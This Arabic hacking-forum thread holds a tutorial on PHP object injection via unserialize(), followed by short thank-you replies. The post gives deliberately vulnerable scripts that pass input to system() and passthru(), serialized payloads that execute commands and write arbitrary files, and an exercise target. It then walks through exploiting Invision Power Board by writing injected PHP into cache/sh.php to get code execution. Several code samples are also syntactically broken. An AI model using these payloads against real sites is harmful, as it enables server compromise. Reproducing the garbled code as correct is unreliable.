حالة الموضوع:
مغلق
  1. i-Hmx

    i-Hmx Developer

    الأنتساب:
    ‏20 ابريل 2012
    المشاركات:
    56
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    8
    الإقامة:
    hacker
    [​IMG]
    السلام عليكم
    كيف أحوال الجميع
    ان شاء الله بخير
    موضوع بسيط بس هنوضح فيه استغلال unserialize لانى شايف ناس كتير محتاره فيها
    الحكايه بسيطه يا شباب
    ابسط مما تتخيلو
    ركزو بس ثوانى وان شاء الله كل حاجه هتوضح
    الاول نتكلم عن الداله نفسها
    اقتباس من الاخ حمزه فى موضوع سابق



    خلينا نتعامل مع حاجه عاديه
    سكربت بسيط يطبع قيمة serialize لاى حاجه


    كود PHP:
     <?/*Unserialize demo exploitationAuther : i-HmxHome : iq-team.org*/$sec1=serialize($_POST['ser']);$sec2=unserialize($_POST['unser']);echo $sec1;?>
    اعمل حفظ للملف
    من اضافة hackbar اعمل post لـ
    ser=faris=1337
    مثلا
    ser هى اللى هيتنفذ عليها دالة serialize
    شوف بس الناتج
    هتلاقى شكله زى كده
    s:10:"faris=1337";
    عايزك تاخد بالك من شكل الناتج بس مش اكتر
    خده كوبى عندك
    دلوقت غير السكربت خليه
    echo $sec2;
    بدل
    echo $sec1;
    واعمل post لـ


    كود PHP:
     unser=s:10:"faris=1337";
    وشوف الناتج
    هتلاقى رجعنا للقيمه اللى كنا حاطينها فى الاول faris=1337
    الطريقه مستخدمه بكثره فى الكوكيز بالذات
    سكربت arabportal , phpbb وكتير غيرهم
    مش موضوعنا دلوقت
    المهم فهمنا بس فايدة الداله وطريقة عملها
    طيب ايه مشكلتها دلوقت؟؟؟
    الداله نفسها دلوقت مفيهاش مشكله
    لكن ناخد بالنا من كلام حمزه فى نفس الموضوع السابق


    الداله بتكون خطيره فى حالة وجود الـmagic calls
    اللى هى __wakeup or __destruct
    فى الحاله دى بتتحطم انت فى الباراميترز اللى تحت الوظيفه دى وتنفذها بنفسك
    نشوف مثال احسن علشان توضح الامور


    كود PHP:
     <?/*Unserialize demo exploitationAuther : i-HmxHome : iq-team.org*/$sec1=serialize($_POST['ser']);$sec2=unserialize($_POST['unser']);class ex{public $cmd; function sys($cmd)  {   system($cmd);  }}$fa=new sec();$fa->sys('dir');?>
    لو فتحت السكربت ده هتلاقيه نفذ الامر dir
    وانت متقدرش تغير الامر او تنفذ أى أمر تانى
    فى السكربت ده unserialize ملهاش ادنى خطوره
    دلوقت شيل السطرين دول
    $fa=new sec();
    $fa->sys('dir');
    ونفذ السكربت مره تانيه
    النتيجه صفحه بيضه
    وبرضه unserialize لسه ملهاش لزمه هنا
    لكن نشوف بقى لو بدل
    function sys($cmd)
    موجود
    function __wakeup($cmd)
    يبقى السكربت بالشكل ده


    كود PHP:
     <?/*Unserialize demo exploitationAuther : i-HmxHome : iq-team.org*/$sec1=serialize($_POST['ser']);$sec2=unserialize($_POST['unser']);class ex{public $cmd; function __wakeup()  {   system($this->cmd);  }}
    ?>
    افتحه عادى
    هيديك صفحه بيضه
    لان طبيعى مفيش اى وظيفه تم تنفيذها
    لكن لو عملت انت post


    كود PHP:
    unser=O:2:"ex":1:{s:3:"cmd";s:3:"dir";}
    هتلاقى الامر dir اتنفذ بدون مشاكل
    السؤال
    منين جبنا الكود ده؟؟؟
    شوية تركيز كمان بس ونكون خلصنا
    *:"
    دلوقت __wakeup بيتنفذ فيها ايه اساسا؟؟؟


    كود PHP:
    system($this->cmd);
    يبقى احنا محتاجين كام باراميتر؟؟؟
    هو واحد بس
    cmd
    يبقى بكل بساطه
    اعمل ملف php جديد
    ونكتب فيه الكود ده


    كود PHP:
    class ex{public $cmd='dir';}echo serialize(new ex);
    نوضح الامور برضه شويه
    serialize هى المسئوله عن التحويل زى ما قلنا فى اول الموضوع
    class ex
    ex = الكلاس اللى فيها _wakeup
    لاحظ الملف المصاب
    لازم يكون اسم الكلاس صحيح
    public $cmd='dir'
    cmd = الباراميتر المطلوب
    dir = الامر اللى هننفذه
    افتح الملف من المتصفح هتلاقى النتيجه


    بسيطه صح؟؟؟
    دلوقت حاول انت تعمل استغلال للملف المصاب ده


    كود PHP:
     <?/*Unserialize demo exploitationAuther : i-HmxHome : iq-team.org*/$sec2=unserialize($_POST['unser']);class test{public $ok; function __wakeup()  {   passthru($this->ok);  }}؟>
    لو عملته كمل معانا فى الخطوه الجايه
    لو مش قادر تعمله عيد اقرا الشرح اللى فوق او استفسر عن المشكله اللى قابلتك فى رد
    نكمل
    نروح لمثال حى
    ثغرة الـInvision Power Board
    مش معايا السورس تبع السكربت حاليا لكن هنعمل محاكاه بسيطه للملف المصاب
    بناء على المعطيات اللى فى الثغره
    ده مثال للملف المصاب
    طبعا مجرد تخمين بس مش هيكون بعيد عنه كتير


    كود PHP:
     <?/*Unserialize demo exploitationAuther : i-HmxHome : iq-team.org*/$sec2=unserialize($_POST['unser']);class db_driver_mysql {public $obj=array('use_debug_log'=>'debug_log' => 'fuck_random_name.txt' 'data'=>'any thing after the link :)');function debug($obj) {  $f=fopen($this->obj['debug_log'],'w+');  fwrite($f,$this->obj['data']); }}$s4e=new db_driver_mysql;$s4e->debug($obj);?>
    لو فتحت الملف ده فى المتصفح
    هتلاقى نتج فى نفس الفولدر ملف اسمه
    fuck_random_name.txt = الملف السكربت بيحط فيه اللوجات وطبعا بيكون ملف عشوائى
    مكتوب فيه
    any thing after the link = اللوج السكربت بيحطه
    طيب دلوقت فى الملف اللى انا حطيته ده
    مفيش أمل تغير إسم الملف او حتى محتوياته
    وأيضا نقول ان unserialize ملهاش اى لزمه
    لكن لو موجود wakeup or destruct مكان debug????
    بحيث يكون الكود كده


    كود PHP:
     <?/*Unserialize demo exploitationAuther : i-HmxHome : iq-team.org*/$sec2=unserialize($_POST['unser']);class db_driver_mysql {public $obj=array('use_debug_log'=>'debug_log' => 'fuck_random_name.txt' 'data'=>'any thing after the link :)');function __wakeup($obj) {  $f=fopen($this->obj['debug_log'],'w+');  fwrite($f,$this->obj['data']); }}?>
    لو عملنا post لـ
    unser=a:1:{i:0;O:15:"db_driver_mysql":1:{s:3:"obj" ;a:3:{s:13:"use_debug_log";i:0;s:9:"debug_log";s:9 :"faris.php";s:4:"data";s:19:"faris on the mic ";}}}
    هنلاقى نتج فى الفولدر ملف اسمه faris.php
    محتواه faris on the mic
    ممكن نغيرهم بأى حاجه طبعا
    نرجع ونقول ازاى جبنا الكود؟؟؟
    بنفس الطريقه اللى فوق


    كود PHP:
     <?class db_driver_mysql { public $obj=array('use_debug_log'=>'debug_log' => 'faris.php' 'data'=>'faris on the mic ::');}echo serialize(array(new db_driver_mysql));?>
    أعتقد واضحه
    مجرد شوفنا الباراميترز وعدلناهم براحتنا
    وده اللى موجود فى استغلال ثغرة الـinvision pb
    غير اسم اللوج لـcache/sh.php
    محتوى الملف بيكون اى حاجه بعد لينك المنتدى
    يعنى مثلا لو فتحت
    target.com/index.php?faris
    بيتحط فى اللوج faris
    يبقى بنفس الفكره
    لو غيرنا مسال اللوج خليناه cache/iq-team.php
    وفتحنا اللينك site.com/index.php?<?phpinfo();?>
    وبعدها فتحنا cache/iq-team.php
    هنلاقى الكود تبعنا اتنفذ بنجاح

    يبقى خلاصة الموضوع
    اذا لقينا سكربت php مستخدمه فيه unserialize
    نبحث بعدها عن __wakeup
    او
    __destruct
    ونشوف ايه اللى ممكن نعمله من الاتنين دول
    ونتعامل زى ما قلنا فوق
    أتمنى يكون الموضوع مهضوم وواضح
    أى استفسار ان شاء الله اى حد من الاخوه يجاوب لو انا مش موجود لان فيه بعض ظروف ممكن تأخرنى فى الرد
    بالتوفيق للجميع
    &:":


     
    1 person likes this.
  2. salah-pro

    salah-pro ExpErt DeveloPer

    الأنتساب:
    ‏25 ديسمبر 2011
    المشاركات:
    107
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    16
    الإقامة:
    U.A.E
    رد: Unserialize() , Php Object Injection tut

    يشرفني اني اول واحد يرد :$
     
  3. Масћіле

    Масћіле Developer

    الأنتساب:
    ‏2 يونيو 2012
    المشاركات:
    26
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    1
    رد: Unserialize() , Php Object Injection tut

    بارك الله فيك يالغالي ​
     
  4. :: dev-vb ::

    :: dev-vb :: Developer

    الأنتساب:
    ‏7 مارس 2012
    المشاركات:
    21
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    1
    رد: Unserialize() , Php Object Injection tut

    مميز يا غالى تسلم ايدك ​
     
  5. مخابرات الهكر

    مخابرات الهكر Developer

    الأنتساب:
    ‏19 يوليو 2012
    المشاركات:
    67
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    6
    الإقامة:
    ksa
    رد: Unserialize() , Php Object Injection tut

    شكرا ياغالي
     
  6. Ahmed Hamody

    Ahmed Hamody ExpErt DeveloPer

    الأنتساب:
    ‏24 نوفمبر 2012
    المشاركات:
    74
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    8
    الإقامة:
    مش هقول اني من مصر
    رد: Unserialize() , Php Object Injection tut

    بارك الله فيك
    تحياتي لك
    والى الامام
     
  7. ĸʜɜʟɛɒ

    ĸʜɜʟɛɒ Active DeveloPer

    الأنتساب:
    ‏3 نوفمبر 2012
    المشاركات:
    102
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    18
    الإقامة:
    Gaza
    رد: Unserialize() , Php Object Injection tut

    مشكور أخي وبارك الله فيك



    بتوفيق...&:":
     
  8. صايع هكر

    صايع هكر Developer

    الأنتساب:
    ‏17 نوفمبر 2012
    المشاركات:
    55
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    6
    رد: Unserialize() , Php Object Injection tut

    مشكور اخي :{1}:
     
حالة الموضوع:
مغلق

مشاركة هذه الصفحة